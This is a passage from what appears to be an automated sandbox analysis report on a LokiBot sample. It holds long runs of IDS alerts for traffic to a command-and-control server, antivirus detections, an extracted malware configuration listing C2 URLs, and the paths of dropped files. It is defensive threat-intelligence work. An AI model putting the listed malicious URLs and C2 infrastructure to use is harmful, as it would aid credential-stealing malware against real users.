2024-11-20T10:57:39.350219+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:40.390682+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:41.280822+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58499	94.156.177.41	80	TCP
2024-11-20T10:57:42.194530+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:43.109049+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:44.036671+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:44.953136+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:45.861829+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:46.774217+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:47.730504+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:48.614779+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:49.520289+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:50.448704+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:51.379035+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:52.282631+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:53.201630+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:54.109455+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:55.033419+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:56.039529+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:56.955480+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:57.984069+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:58.889596+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:57:59.787877+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:58:00.691489+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:01.582641+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:02.624665+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:03.519338+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:04.545050+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:05.453999+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:06.367844+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:07.287006+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:08.176054+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:09.065860+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:09.959629+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:10.847503+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:11.824399+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:12.724589+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58629	94.156.177.41	80	TCP
2024-11-20T10:58:13.658490+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:14.545997+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:15.460583+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:16.391719+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:17.293396+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:18.186000+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:19.112622+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:20.136054+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:21.045421+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:21.935753+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:22.855310+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:23.760310+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:24.639781+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:25.552646+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:26.433858+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:27.437349+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:28.325967+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:29.219984+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:30.135328+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:31.029059+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:31.910533+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:32.925547+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:33.816974+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:34.747068+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:35.646259+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:36.544139+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:37.437340+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:38.343067+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:39.243872+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:40.146749+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:41.034533+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:41.944294+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:42.863234+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:43.784646+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:45.036254+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:45.931402+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:46.868272+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:47.801637+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:48.719401+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:49.631590+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:50.531924+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:51.462507+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:52.365083+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:53.422435+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:54.359199+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:55.384693+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:56.456663+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:57.368693+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:58.299878+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:58:59.223139+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:59:00.315009+0100	2021641	1	A Network Trojan was detected	192.168.2.4	58849	94.156.177.41	80	TCP

ETPRO MALWARE LokiBot Checkin M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-11-20T10:57:12.808002+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49734	94.156.177.41	80	TCP
2024-11-20T10:57:13.757343+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49735	94.156.177.41	80	TCP
2024-11-20T10:57:15.026901+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49737	94.156.177.41	80	TCP
2024-11-20T10:57:16.128443+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49739	94.156.177.41	80	TCP
2024-11-20T10:57:17.172162+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49740	94.156.177.41	80	TCP
2024-11-20T10:57:18.095135+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49742	94.156.177.41	80	TCP
2024-11-20T10:57:19.188469+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49746	94.156.177.41	80	TCP
2024-11-20T10:57:20.015773+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49748	94.156.177.41	80	TCP
2024-11-20T10:57:21.098851+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49750	94.156.177.41	80	TCP
2024-11-20T10:57:22.128961+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49751	94.156.177.41	80	TCP
2024-11-20T10:57:23.051375+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49752	94.156.177.41	80	TCP
2024-11-20T10:57:23.952106+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49753	94.156.177.41	80	TCP
2024-11-20T10:57:24.855713+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49754	94.156.177.41	80	TCP
2024-11-20T10:57:25.934109+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49755	94.156.177.41	80	TCP
2024-11-20T10:57:26.983156+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49756	94.156.177.41	80	TCP
2024-11-20T10:57:27.893409+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49757	94.156.177.41	80	TCP
2024-11-20T10:57:28.799350+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49758	94.156.177.41	80	TCP
2024-11-20T10:57:29.726326+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49759	94.156.177.41	80	TCP
2024-11-20T10:57:30.667112+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49760	94.156.177.41	80	TCP
2024-11-20T10:57:31.597321+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49761	94.156.177.41	80	TCP
2024-11-20T10:57:32.534728+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49762	94.156.177.41	80	TCP
2024-11-20T10:57:33.800604+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	49763	94.156.177.41	80	TCP
2024-11-20T10:57:34.722224+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58489	94.156.177.41	80	TCP
2024-11-20T10:57:35.630460+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58491	94.156.177.41	80	TCP
2024-11-20T10:57:36.546091+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58492	94.156.177.41	80	TCP
2024-11-20T10:57:37.558372+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58493	94.156.177.41	80	TCP
2024-11-20T10:57:38.444140+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58495	94.156.177.41	80	TCP
2024-11-20T10:57:39.350219+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58497	94.156.177.41	80	TCP
2024-11-20T10:57:40.390682+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58498	94.156.177.41	80	TCP
2024-11-20T10:57:41.280822+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58499	94.156.177.41	80	TCP
2024-11-20T10:57:42.194530+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58500	94.156.177.41	80	TCP
2024-11-20T10:57:43.109049+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58501	94.156.177.41	80	TCP
2024-11-20T10:57:44.036671+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58502	94.156.177.41	80	TCP
2024-11-20T10:57:44.953136+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58503	94.156.177.41	80	TCP
2024-11-20T10:57:45.861829+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58504	94.156.177.41	80	TCP
2024-11-20T10:57:46.774217+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58505	94.156.177.41	80	TCP
2024-11-20T10:57:47.730504+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58506	94.156.177.41	80	TCP
2024-11-20T10:57:48.614779+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58507	94.156.177.41	80	TCP
2024-11-20T10:57:49.520289+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58508	94.156.177.41	80	TCP
2024-11-20T10:57:50.448704+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58509	94.156.177.41	80	TCP
2024-11-20T10:57:51.379035+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58510	94.156.177.41	80	TCP
2024-11-20T10:57:52.282631+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58511	94.156.177.41	80	TCP
2024-11-20T10:57:53.201630+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58512	94.156.177.41	80	TCP
2024-11-20T10:57:54.109455+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58513	94.156.177.41	80	TCP
2024-11-20T10:57:55.033419+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58514	94.156.177.41	80	TCP
2024-11-20T10:57:56.039529+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58515	94.156.177.41	80	TCP
2024-11-20T10:57:56.955480+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58516	94.156.177.41	80	TCP
2024-11-20T10:57:57.984069+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58518	94.156.177.41	80	TCP
2024-11-20T10:57:58.889596+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58524	94.156.177.41	80	TCP
2024-11-20T10:57:59.787877+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58530	94.156.177.41	80	TCP
2024-11-20T10:58:00.691489+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58536	94.156.177.41	80	TCP
2024-11-20T10:58:01.582641+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58543	94.156.177.41	80	TCP
2024-11-20T10:58:02.624665+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58553	94.156.177.41	80	TCP
2024-11-20T10:58:03.519338+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58559	94.156.177.41	80	TCP
2024-11-20T10:58:04.545050+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58565	94.156.177.41	80	TCP
2024-11-20T10:58:05.453999+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58572	94.156.177.41	80	TCP
2024-11-20T10:58:06.367844+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58582	94.156.177.41	80	TCP
2024-11-20T10:58:07.287006+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58588	94.156.177.41	80	TCP
2024-11-20T10:58:08.176054+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58594	94.156.177.41	80	TCP
2024-11-20T10:58:09.065860+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58600	94.156.177.41	80	TCP
2024-11-20T10:58:09.959629+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58606	94.156.177.41	80	TCP
2024-11-20T10:58:10.847503+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58613	94.156.177.41	80	TCP
2024-11-20T10:58:11.824399+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58623	94.156.177.41	80	TCP
2024-11-20T10:58:12.724589+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58629	94.156.177.41	80	TCP
2024-11-20T10:58:13.658490+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58635	94.156.177.41	80	TCP
2024-11-20T10:58:14.545997+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58641	94.156.177.41	80	TCP
2024-11-20T10:58:15.460583+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58650	94.156.177.41	80	TCP
2024-11-20T10:58:16.391719+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58657	94.156.177.41	80	TCP
2024-11-20T10:58:17.293396+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58664	94.156.177.41	80	TCP
2024-11-20T10:58:18.186000+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58670	94.156.177.41	80	TCP
2024-11-20T10:58:19.112622+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58675	94.156.177.41	80	TCP
2024-11-20T10:58:20.136054+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58683	94.156.177.41	80	TCP
2024-11-20T10:58:21.045421+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58688	94.156.177.41	80	TCP
2024-11-20T10:58:21.935753+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58695	94.156.177.41	80	TCP
2024-11-20T10:58:22.855310+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58701	94.156.177.41	80	TCP
2024-11-20T10:58:23.760310+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58708	94.156.177.41	80	TCP
2024-11-20T10:58:24.639781+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58715	94.156.177.41	80	TCP
2024-11-20T10:58:25.552646+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58723	94.156.177.41	80	TCP
2024-11-20T10:58:26.433858+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58730	94.156.177.41	80	TCP
2024-11-20T10:58:27.437349+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58736	94.156.177.41	80	TCP
2024-11-20T10:58:28.325967+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58742	94.156.177.41	80	TCP
2024-11-20T10:58:29.219984+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58752	94.156.177.41	80	TCP
2024-11-20T10:58:30.135328+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58758	94.156.177.41	80	TCP
2024-11-20T10:58:31.029059+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58764	94.156.177.41	80	TCP
2024-11-20T10:58:31.910533+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58770	94.156.177.41	80	TCP
2024-11-20T10:58:32.925547+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58777	94.156.177.41	80	TCP
2024-11-20T10:58:33.816974+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58786	94.156.177.41	80	TCP
2024-11-20T10:58:34.747068+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58792	94.156.177.41	80	TCP
2024-11-20T10:58:35.646259+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58799	94.156.177.41	80	TCP
2024-11-20T10:58:36.544139+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58806	94.156.177.41	80	TCP
2024-11-20T10:58:37.437340+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58812	94.156.177.41	80	TCP
2024-11-20T10:58:38.343067+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58818	94.156.177.41	80	TCP
2024-11-20T10:58:39.243872+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58827	94.156.177.41	80	TCP
2024-11-20T10:58:40.146749+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58828	94.156.177.41	80	TCP
2024-11-20T10:58:41.034533+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58829	94.156.177.41	80	TCP
2024-11-20T10:58:41.944294+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58830	94.156.177.41	80	TCP
2024-11-20T10:58:42.863234+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58831	94.156.177.41	80	TCP
2024-11-20T10:58:43.784646+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58832	94.156.177.41	80	TCP
2024-11-20T10:58:45.036254+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58833	94.156.177.41	80	TCP
2024-11-20T10:58:45.931402+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58834	94.156.177.41	80	TCP
2024-11-20T10:58:46.868272+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58835	94.156.177.41	80	TCP
2024-11-20T10:58:47.801637+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58836	94.156.177.41	80	TCP
2024-11-20T10:58:48.719401+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58837	94.156.177.41	80	TCP
2024-11-20T10:58:49.631590+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58838	94.156.177.41	80	TCP
2024-11-20T10:58:50.531924+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58839	94.156.177.41	80	TCP
2024-11-20T10:58:51.462507+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58840	94.156.177.41	80	TCP
2024-11-20T10:58:52.365083+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58841	94.156.177.41	80	TCP
2024-11-20T10:58:53.422435+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58842	94.156.177.41	80	TCP
2024-11-20T10:58:54.359199+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58843	94.156.177.41	80	TCP
2024-11-20T10:58:55.384693+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58844	94.156.177.41	80	TCP
2024-11-20T10:58:56.456663+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58845	94.156.177.41	80	TCP
2024-11-20T10:58:57.368693+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58846	94.156.177.41	80	TCP
2024-11-20T10:58:58.299878+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58847	94.156.177.41	80	TCP
2024-11-20T10:58:59.223139+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58848	94.156.177.41	80	TCP
2024-11-20T10:59:00.315009+0100	2825766	1	Malware Command and Control Activity Detected	192.168.2.4	58849	94.156.177.41	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://94.156.177.41/maxzi/five/fre.php	Avira URL Cloud: Label: malware
Source: http://66.63.187.231/33/caspol.exe	Avira URL Cloud: Label: malware
Source: 94.156.177.41/maxzi/five/fre.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\wininit.exe	Avira: detection malicious, Label: HEUR/AGEN.1306899
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe	Avira: detection malicious, Label: HEUR/AGEN.1306899

Found malware configuration

Source: 00000006.00000002.1797561748.0000000003569000.00000004.00000800.00020000.00000000.sdmp

Malware Configuration Extractor: Lokibot {"C2 list": ["http://kbfvzoboss.bid/alien/fre.php", "http://alphastand.trade/alien/fre.php", "http://alphastand.win/alien/fre.php", "http://alphastand.top/alien/fre.php", "94.156.177.41/maxzi/five/fre.php"]}

Multi AV Scanner detection for submitted file

Source: goodtoseeuthatgreatthingswithentirethingsgreatfor.hta

ReversingLabs: Detection: 15%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.3% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\wininit.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\caspol[1].exe	Joe Sandbox ML: detected

Source:	Binary string: \??\C:\Windows\dll\System.Management.Automation.pdb04P source: powershell.exe, 00000003.00000002.1704971500.0000000007B57000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 00000003.00000002.1704660304.0000000007AD0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: $iq7C:\Users\user\AppData\Local\Temp\sg2bcrbf\sg2bcrbf.pdb source: powershell.exe, 00000001.00000002.1813801603.0000000004E57000.00000004.00000800.00020000.00000000.sdmp

Source: C:\Users\user\AppData\Roaming\wininit.exe

Code function: 9_2_00403D74 FindFirstFileW,FindNextFileW,FindFirstFileW,FindNextFileW,

9_2_00403D74

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49740 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49740 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49740 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49742 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49742 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2825766 - Severity 1 - ETPRO MALWARE LokiBot Checkin M2 : 192.168.2.4:49742 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49740 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49737 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024313 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M1 : 192.168.2.4:49742 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2024318 - Severity 1 - ET MALWARE LokiBot Request for C2 Commands Detected M2 : 192.168.2.4:49740 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2021641 - Severity 1 - ET MALWARE LokiBot User-Agent (Charon/Inferno) : 192.168.2.4:49746 -> 94.156.177.41:80
Source: Network traffic	Suricata IDS: 2025381 - Severity 1 - ET MALWARE LokiBot Checkin : 192.168.2.4:49746 -> 94.156.177.41:80
